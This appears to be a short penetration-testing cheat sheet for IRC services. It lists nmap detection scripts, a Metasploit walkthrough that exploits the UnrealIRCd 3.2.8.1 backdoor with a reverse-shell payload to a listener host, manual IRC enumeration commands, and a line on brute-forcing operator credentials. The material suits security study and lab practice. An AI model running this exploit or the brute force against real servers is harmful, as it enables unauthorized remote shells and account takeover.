6667 – Pentesting irc
- IRC was originally a plain text protocol (although later extended), which on request was assigned port 194/TCP by IANA.
- However, the de facto standard has always been to run IRC on 6667/TCP and nearby port numbers (for example TCP ports 6660–6669, 7000) to avoid having to run the IRCd software with root privileges.
nmap
sudo nmap -sV --script irc-botnet-channels -p 194,6660-7000 $IP
sudo nmap -sV --script irc-info -p 194,6660-7000 $IP
sudo nmap -sV --script irc-unrealircd-backdoor -p 194,6660-7000 $IP
netcat
metasploit
use exploit/unix/irc/unreal_ircd_3281_backdoor
options
show payloads
set payload payload/cmd/unix/reverse
set RHOSTS 10.0.2.8
set RPORT 6667
set LHOST 10.0.2.15
set LPORT 4444
options
run
manual
Here you can see how to connect and access the IRC using some random nickname and then enumerate some interesting info. You can learn more commands of IRC here
#Connection with random nickname
USER ran213eqdw123 0 * ran213eqdw123
NICK ran213eqdw123
#If a PING :<random> is responded you need to send
#PONG :<received random>
VERSION
HELP
INFO
LINKS
HELPOP USERCMDS
HELPOP OPERCMDS
OPERATOR CAPA
ADMIN #Admin info
USERS #Current number of users
TIME #Server's time
STATS a #Only operators should be able to run this
NAMES #List channel names and usernames inside of each channel -> Nombre del canal y nombre de las personas que estan dentro
LIST #List channel names along with channel banner
WHOIS <USERNAME> #WHOIS a username
USERHOST <USERNAME> #If available, get hostname of a user
USERIP <USERNAME> #If available, get ip of a user
JOIN <CHANNEL_NAME> #Connect to a channel
#Operator creds Brute-Force
OPER <USERNAME> <PASSWORD>